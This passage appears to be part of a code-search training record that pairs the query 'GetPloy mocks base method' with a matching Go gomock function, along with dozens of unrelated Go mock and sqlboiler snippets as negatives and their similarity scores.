mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateVersion\", reflect.TypeOf((*MockManager)(nil).UpdateVersion))\n}", "func (mr *MockUserServiceMockRecorder) Update(ctx, user interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockUserService)(nil).Update), ctx, user)\n}", "func (mr *MockUsecaseMockRecorder) Update(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockUsecase)(nil).Update), arg0)\n}", "func (_m *Repository) Update(p *entity.Person, commitChan <-chan bool, doneChan chan<- bool) {\n\t_m.Called(p, commitChan, doneChan)\n}", "func (mr *MockIApiMockRecorder) UpdatePlan(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdatePlan\", reflect.TypeOf((*MockIApi)(nil).UpdatePlan), arg0, arg1)\n}", "func (o *Source) UpdateP(exec boil.Executor, whitelist ...string) {\n\terr := o.Update(exec, whitelist...)\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n}", "func (mr *MockLoadBalancerServiceIfaceMockRecorder) UpdateLBHealthCheckPolicy(p interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateLBHealthCheckPolicy\", reflect.TypeOf((*MockLoadBalancerServiceIface)(nil).UpdateLBHealthCheckPolicy), p)\n}", "func (mr *MockServiceProbeDaoMockRecorder) UpdateModel(arg0 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateModel\", reflect.TypeOf((*MockServiceProbeDao)(nil).UpdateModel), arg0)\n}", "func (t *Points) Update(a *app.App, deltaTime time.Duration) {}", "func (mr *MockStudentRepositoryMockRecorder) Update(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockStudentRepository)(nil).Update), arg0, arg1)\n}", "func (o *RecordMeasure) UpdateP(exec boil.Executor, whitelist ...string) {\n\terr := o.Update(exec, whitelist...)\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n}", "func (mr *MockUpdaterMockRecorder) Update(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockUpdater)(nil).Update), arg0)\n}", "func (mr *MockUserRepositoryMockRecorder) Update(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockUserRepository)(nil).Update), arg0, arg1)\n}", "func (mr *MockMetricServiceClientMockRecorder) UpdateMetricOracleNUPStandard(arg0, arg1 interface{}, arg2 ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{arg0, arg1}, arg2...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateMetricOracleNUPStandard\", reflect.TypeOf((*MockMetricServiceClient)(nil).UpdateMetricOracleNUPStandard), varargs...)\n}", "func (x *fastReflection_MsgUpdateParamsResponse) IsValid() bool {\n\treturn x != nil\n}", "func (mr *MockDataSourceRepoMockRecorder) Update(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockDataSourceRepo)(nil).Update), arg0, arg1)\n}", "func (mr *MockRepositoryMockRecorder) Update(e interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockRepository)(nil).Update), e)\n}", "func (o *Organism) UpdateP(exec boil.Executor, whitelist ...string) {\n\terr := o.Update(exec, whitelist...)\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n}", "func (mr *MockUserUsecaserMockRecorder) Update(c, m interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockUserUsecaser)(nil).Update), c, m)\n}", "func (mr *MockProjectServiceIfaceMockRecorder) UpdateProject(p interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateProject\", reflect.TypeOf((*MockProjectServiceIface)(nil).UpdateProject), p)\n}", "func (x *fastReflection_MsgUpdateParams) IsValid() bool {\n\treturn x != nil\n}", "func (mr *MockFeatureServiceMockRecorder) Update(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockFeatureService)(nil).Update), arg0, arg1)\n}", "func (mr *MockTenantServiceLBMappingPortDaoMockRecorder) UpdateModel(arg0 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateModel\", reflect.TypeOf((*MockTenantServiceLBMappingPortDao)(nil).UpdateModel), arg0)\n}", "func (mr *MockUserRepoMockRecorder) Update(ctx, input interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockUserRepo)(nil).Update), ctx, input)\n}", "func (mr *MockItemRepositoryMockRecorder) Update(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockItemRepository)(nil).Update), arg0)\n}", "func (mr *MockTenantPluginDaoMockRecorder) UpdateModel(arg0 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateModel\", reflect.TypeOf((*MockTenantPluginDao)(nil).UpdateModel), arg0)\n}", "func (mr *MockRepositoryMockRecorder) Update(ctx, u interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockRepository)(nil).Update), ctx, u)\n}", "func (mr *MockTenantServicesPortDaoMockRecorder) UpdateModel(arg0 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateModel\", reflect.TypeOf((*MockTenantServicesPortDao)(nil).UpdateModel), arg0)\n}", "func (q failureQuery) UpdateAllP(cols M) {\n\tif err := q.UpdateAll(cols); err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n}", "func (mr *MockdeployerMockRecorder) UpdatePipeline(env interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdatePipeline\", reflect.TypeOf((*Mockdeployer)(nil).UpdatePipeline), env)\n}", "func (mr *MockIpsecServerMockRecorder) IpsecRuleUpdate(arg0, arg1 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"IpsecRuleUpdate\", reflect.TypeOf((*MockIpsecServer)(nil).IpsecRuleUpdate), arg0, arg1)\n}", "func (mr *MockBusinessContractMockRecorder) UpdateUser(ctx, request interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateUser\", reflect.TypeOf((*MockBusinessContract)(nil).UpdateUser), ctx, request)\n}", "func (p *PersistableEvent) Update(objectstorage.StorableObject) {\n\tpanic(\"should not be updated\")\n}", "func (o *FeatureRelationship) UpdateP(exec boil.Executor, whitelist ...string) {\n\terr := o.Update(exec, whitelist...)\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n}", "func (mr *MockKeystoreMockRecorder) Update(keyValues interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockKeystore)(nil).Update), keyValues)\n}", "func (mr *MockApplicationManagerMockRecorder) Update(ktx, ID, e interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockApplicationManager)(nil).Update), ktx, ID, e)\n}", "func (mr *MockAPIMockRecorder) UpdateInstallProgress(arg0, arg1, arg2 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateInstallProgress\", reflect.TypeOf((*MockAPI)(nil).UpdateInstallProgress), arg0, arg1, arg2)\n}", "func (mr *MockTenantPluginVersionConfigDaoMockRecorder) UpdateModel(arg0 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateModel\", reflect.TypeOf((*MockTenantPluginVersionConfigDao)(nil).UpdateModel), arg0)\n}", "func (mr *MockProcessRepositoryMockRecorder) UpdateProcess(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateProcess\", reflect.TypeOf((*MockProcessRepository)(nil).UpdateProcess), arg0)\n}", "func (o *AuthUser) UpdateP(exec boil.Executor, whitelist ...string) {\n\terr := o.Update(exec, whitelist...)\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n}", "func (mr *MockAPIMockRecorder) UpdateApiVipConnectivityReport(arg0, arg1, arg2 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateApiVipConnectivityReport\", reflect.TypeOf((*MockAPI)(nil).UpdateApiVipConnectivityReport), arg0, arg1, arg2)\n}", "func (mr *MockRepositoryMockRecorder) Update(ctx, coffeesDomain interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockRepository)(nil).Update), ctx, coffeesDomain)\n}", "func (p *MockDeployPlugin) Update(cluster *lang.Cluster, deployName string, params util.NestedParameterMap, eventLog *event.Log) error {\n\ttime.Sleep(p.SleepTime)\n\treturn nil\n}", "func (mr *MockTenantServicePluginRelationDaoMockRecorder) UpdateModel(arg0 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateModel\", reflect.TypeOf((*MockTenantServicePluginRelationDao)(nil).UpdateModel), arg0)\n}", "func (mr *MockStorageMockRecorder) Update(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockStorage)(nil).Update), arg0)\n}", "func TestPagarmePlanoUpdate(t *testing.T) {\n \n Pagarme := pagarme.NewPagarme(\"pt-BR\", ApiKey, CryptoKey)\n Pagarme.SetDebug()\n\n id, _ := client.Get(\"PlanoId\").Int64()\n\n plano := pagarme.NewPlano(fmt.Sprintf(\"My plan %v\", time.Now().Unix()), 110)\n plano.Id = id\n //plano.SetCycle(pagarme.Monthly, 0, 5)\n\n result, err := Pagarme.PlanoUpdate(plano)\n\n if err != nil {\n t.Errorf(\"Erro ao create plano: %v\", err)\n }else{\n //t.Log(fmt.Sprintf(\"result = %v\", customer.Id)) \n\n if result.Plano.Id == 0 {\n t.Errorf(\"plano id is expected\")\n return\n }\n\n\n }\n\n}", "func (mr *MockTenantServicesStreamPluginPortDaoMockRecorder) UpdateModel(arg0 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateModel\", reflect.TypeOf((*MockTenantServicesStreamPluginPortDao)(nil).UpdateModel), arg0)\n}", "func (mr *MockInterfaceMockRecorder) Update(ctx, persistentVolume, opts interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockInterface)(nil).Update), ctx, persistentVolume, opts)\n}", "func (mr *MockServiceMockRecorder) UpdatePredictions(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdatePredictions\", reflect.TypeOf((*MockService)(nil).UpdatePredictions), arg0)\n}", "func (mr *MockRepositoryMockRecorder) Update(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockRepository)(nil).Update), arg0, arg1)\n}" ]
[ "0.6738027", "0.5991559", "0.590466", "0.59009784", "0.56999475", "0.53913146", "0.5376776", "0.5376776", "0.5323374", "0.53233224", "0.5253375", "0.5223523", "0.5208411", "0.5197118", "0.5193003", "0.5179005", "0.5170473", "0.5167481", "0.51514554", "0.51331", "0.5112826", "0.50823164", "0.50724286", "0.5058348", "0.50545794", "0.50517446", "0.50463086", "0.5042777", "0.5036859", "0.5025761", "0.50139034", "0.49880087", "0.49822792", "0.49745026", "0.49681956", "0.49640888", "0.4962287", "0.4955211", "0.4953869", "0.49512663", "0.4944667", "0.49388528", "0.49289012", "0.49275616", "0.4926855", "0.4925343", "0.49153018", "0.49121448", "0.4910778", "0.49048507", "0.4897799", "0.48932177", "0.48909047", "0.48891392", "0.48881668", "0.48864308", "0.48826703", "0.4875551", "0.4864911", "0.4859928", "0.48517594", "0.48483786", "0.4847844", "0.4843886", "0.48403788", "0.4839451", "0.48393542", "0.48371756", "0.4836038", "0.48345014", "0.48260716", "0.4824575", "0.4824401", "0.48196393", "0.48154444", "0.48106465", "0.48063213", "0.4796063", "0.47960386", "0.47933525", "0.47904977", "0.47856888", "0.47847396", "0.47820005", "0.47798023", "0.47779778", "0.47737494", "0.4773054", "0.477124", "0.47693095", "0.4769297", "0.47658408", "0.4763183", "0.47616112", "0.4761427", "0.4755557", "0.47553253", "0.47516844", "0.4748433", "0.47467297" ]
0.76936096
0
GetPloy mocks base method
func (m *MockmonitorInterface) GetPloy() map[string]int { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "GetPloy") ret0, _ := ret[0].(map[string]int) return ret0 }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (m *MockUCCodeHubI) GetPLIn(repo git.Repository, limit, offset int64) (models.PullReqSet, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetPLIn\", repo, limit, offset)\n\tret0, _ := ret[0].(models.PullReqSet)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockUCCodeHubI) GetPLOut(repo git.Repository, limit, offset int64) (models.PullReqSet, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetPLOut\", repo, limit, offset)\n\tret0, _ := ret[0].(models.PullReqSet)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockmonitorInterface) InitPloy() error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"InitPloy\")\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockmonitorInterface) UpdatePloy(arg0 string, arg1 int) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"UpdatePloy\", arg0, arg1)\n}", "func (m *MockSettings) GetLParen() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetLParen\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "func (t MockPluginTemplate) MockPr() *MockPrBuilderLoader {\n\treturn &MockPrBuilderLoader{pluginName: t.pluginName}\n}", "func (m *MockPolicyManager) Get(pk int64) (dao.Policy, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", pk)\n\tret0, _ := ret[0].(dao.Policy)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockSettings) GetRParen() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetRParen\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "func (m *MockRepoKeeper) Get(name string, blockNum ...uint64) *state.Repository {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{name}\n\tfor _, a := range blockNum {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"Get\", varargs...)\n\tret0, _ := ret[0].(*state.Repository)\n\treturn ret0\n}", "func MockPr() *MockPrBuilderLoader {\n\treturn NewMockPluginTemplate(\"any\").MockPr()\n}", "func (m *MockPexeler) Get(arg0 int, arg1 string) ([]byte, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", arg0, arg1)\n\tret0, _ := ret[0].([]byte)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockPool) Get() MutableList {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\")\n\tret0, _ := ret[0].(MutableList)\n\treturn ret0\n}", "func (m *MockIDistributedEnforcer) GetPolicy() [][]string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetPolicy\")\n\tret0, _ := ret[0].([][]string)\n\treturn ret0\n}", "func (m *Mockpersistent) Get(arg0 string) (proto.Message, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", arg0)\n\tret0, _ := ret[0].(proto.Message)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockPodInfoRepo) Get(arg0 context.Context, arg1 types.NamespacedName) (PodInfo, bool, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", arg0, arg1)\n\tret0, _ := ret[0].(PodInfo)\n\tret1, _ := ret[1].(bool)\n\tret2, _ := ret[2].(error)\n\treturn ret0, ret1, ret2\n}", "func TestPagarmePlanoGet(t *testing.T) {\n \n Pagarme := pagarme.NewPagarme(\"pt-BR\", ApiKey, CryptoKey)\n Pagarme.SetDebug()\n\n id, _ := client.Get(\"PlanoId\").Int64()\n\n result, err := Pagarme.PlanoGet(id)\n\n if err != nil {\n t.Errorf(\"Erro ao create plano: %v\", err)\n }else{\n //t.Log(fmt.Sprintf(\"result = %v\", customer.Id)) \n\n if result.Plano.Id == 0 {\n t.Errorf(\"plano id is expected\")\n return\n }\n\n\n }\n\n}", "func (m *MockProvider) GetEntrecote(weight int) (int, error) {\n\tret := m.ctrl.Call(m, \"GetEntrecote\", weight)\n\tret0, _ := ret[0].(int)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockUsecase) Get(arg0 string) ([]models.Product, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", arg0)\n\tret0, _ := ret[0].([]models.Product)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockVendors) Get(n string) shared.Vendor {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", n)\n\tret0, _ := ret[0].(shared.Vendor)\n\treturn ret0\n}", "func (m *MockIDistributedEnforcer) GetNamedPolicy(arg0 string) [][]string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetNamedPolicy\", arg0)\n\tret0, _ := ret[0].([][]string)\n\treturn ret0\n}", "func (m *MockNamespaceKeeper) Get(name string, blockNum ...uint64) *state.Namespace {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{name}\n\tfor _, a := range blockNum {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"Get\", varargs...)\n\tret0, _ := ret[0].(*state.Namespace)\n\treturn ret0\n}", "func (m *MockPKG) GetPCode() byte {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetPCode\")\n\tret0, _ := ret[0].(byte)\n\treturn ret0\n}", "func (m *Mock_jokes) Get() (*string, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\")\n\tret0, _ := ret[0].(*string)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockSession) Get(arg0 string) interface{} {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", arg0)\n\tret0, _ := ret[0].(interface{})\n\treturn ret0\n}", "func (m *MockNotepadsRepo) Get(arg0 NotepadsFilter) ([]domain.Notepad, error) {\n\tret := m.ctrl.Call(m, \"Get\", arg0)\n\tret0, _ := ret[0].([]domain.Notepad)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockLevelDB) Get(arg0 []byte, arg1 *opt.ReadOptions) ([]byte, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", arg0, arg1)\n\tret0, _ := ret[0].([]byte)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockMempoolReactor) GetTop(n int) []types.BaseTx {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetTop\", n)\n\tret0, _ := ret[0].([]types.BaseTx)\n\treturn ret0\n}", "func (m *MockValidatorKeeper) Get(height int64) (core.BlockValidators, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", height)\n\tret0, _ := ret[0].(core.BlockValidators)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockRepoKeeper) GetNoPopulate(name string, blockNum ...uint64) *state.Repository {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{name}\n\tfor _, a := range blockNum {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"GetNoPopulate\", varargs...)\n\tret0, _ := ret[0].(*state.Repository)\n\treturn ret0\n}", "func (m *MockPKG) GetPayload() protocol.PL {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetPayload\")\n\tret0, _ := ret[0].(protocol.PL)\n\treturn ret0\n}", "func (m *MockDBStorage) Get(arg0, arg1 string) (*models.Shadow, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", arg0, arg1)\n\tret0, _ := ret[0].(*models.Shadow)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockParticipantStore) Get(arg0 string) three.Participant {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", arg0)\n\tret0, _ := ret[0].(three.Participant)\n\treturn ret0\n}", "func (m *MockLoader) Get(key string) ([]byte, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", key)\n\tret0, _ := ret[0].([]byte)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockDatabase) GetPublisherSlotNameHash(arg0 int) map[string]string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetPublisherSlotNameHash\", arg0)\n\tret0, _ := ret[0].(map[string]string)\n\treturn ret0\n}", "func (m *MockProxy) Get(proxyKey api.ProxyKey) (api.Proxy, error) {\n\tret := m.ctrl.Call(m, \"Get\", proxyKey)\n\tret0, _ := ret[0].(api.Proxy)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockFullNode) PaychGet(arg0 context.Context, arg1, arg2 address.Address, arg3 big.Int) (*types0.ChannelInfo, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"PaychGet\", arg0, arg1, arg2, arg3)\n\tret0, _ := ret[0].(*types0.ChannelInfo)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockPodInterface) Get(arg0 string, arg1 v10.GetOptions) (*v1.Pod, error) {\n\tret := m.ctrl.Call(m, \"Get\", arg0, arg1)\n\tret0, _ := ret[0].(*v1.Pod)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockUsecase) Get(arg0 string) (models.Profile, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", arg0)\n\tret0, _ := ret[0].(models.Profile)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockInterface) Get(ctx context.Context, name string, opts metav1.GetOptions) (*v1.PersistentVolume, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", ctx, name, opts)\n\tret0, _ := ret[0].(*v1.PersistentVolume)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockRepository) GetByPtr(arg0, arg1 string, arg2 int64) ([]bigmapdiff.BigMapDiff, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetByPtr\", arg0, arg1, arg2)\n\tret0, _ := ret[0].([]bigmapdiff.BigMapDiff)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockPexeler) GetBySize(arg0 string) string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetBySize\", arg0)\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "func (m *MockScoring) GetResource(arg0 string) (map[string]interface{}, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetResource\", arg0)\n\tret0, _ := ret[0].(map[string]interface{})\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockPodiumInterface) GetTop(arg0 context.Context, arg1 string, arg2, arg3 int) (*client.MemberList, error) {\n\tret := m.ctrl.Call(m, \"GetTop\", arg0, arg1, arg2, arg3)\n\tret0, _ := ret[0].(*client.MemberList)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockConn) Get(arg0 string) ([]byte, *zk.Stat, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", arg0)\n\tret0, _ := ret[0].([]byte)\n\tret1, _ := ret[1].(*zk.Stat)\n\tret2, _ := ret[2].(error)\n\treturn ret0, ret1, ret2\n}", "func (m *MockNotary) Notarize(arg0 string) (map[string]interface{}, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Notarize\", arg0)\n\tret0, _ := ret[0].(map[string]interface{})\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockKeystore) Get(key string) (keystoreregistry.KeyValueVersion, error) {\n\tret := m.ctrl.Call(m, \"Get\", key)\n\tret0, _ := ret[0].(keystoreregistry.KeyValueVersion)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockToggle) GetProps() map[string]interface{} {\n\tret := m.ctrl.Call(m, \"GetProps\")\n\tret0, _ := ret[0].(map[string]interface{})\n\treturn ret0\n}", "func (m *MockToggle) GetProps() map[string]interface{} {\n\tret := m.ctrl.Call(m, \"GetProps\")\n\tret0, _ := ret[0].(map[string]interface{})\n\treturn ret0\n}", "func (m *MockAccessResponder) GetExtra(arg0 string) interface{} {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetExtra\", arg0)\n\tret0, _ := ret[0].(interface{})\n\treturn ret0\n}", "func (m *MockPool) Get(arg0 context.Context, arg1 string) (peer.Peer, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", arg0, arg1)\n\tret0, _ := ret[0].(peer.Peer)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockPodiumInterface) GetTopPercent(arg0 context.Context, arg1 string, arg2 int) (*client.MemberList, error) {\n\tret := m.ctrl.Call(m, \"GetTopPercent\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(*client.MemberList)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockEngine) PonderHit() error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"PonderHit\")\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockDatabase) GetPubmaticSlotMappings(arg0 int) map[string]models.SlotMapping {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetPubmaticSlotMappings\", arg0)\n\tret0, _ := ret[0].(map[string]models.SlotMapping)\n\treturn ret0\n}", "func (m *MockPushKeyKeeper) Get(pushKeyID string, blockNum ...uint64) *state.PushKey {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{pushKeyID}\n\tfor _, a := range blockNum {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"Get\", varargs...)\n\tret0, _ := ret[0].(*state.PushKey)\n\treturn ret0\n}", "func (m *MockScraper) GetParticipantsInLeague(arg0 int) (*[]int64, error) {\n\tret := m.ctrl.Call(m, \"GetParticipantsInLeague\", arg0)\n\tret0, _ := ret[0].(*[]int64)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockLocalConfigProvider) GetName() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetName\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "func (m *MockPersister) GetUser(username, password string) (User, error) {\n\tret := m.ctrl.Call(m, \"GetUser\", username, password)\n\tret0, _ := ret[0].(User)\n\tret1, _ := ret[1].(error)\n\treturn 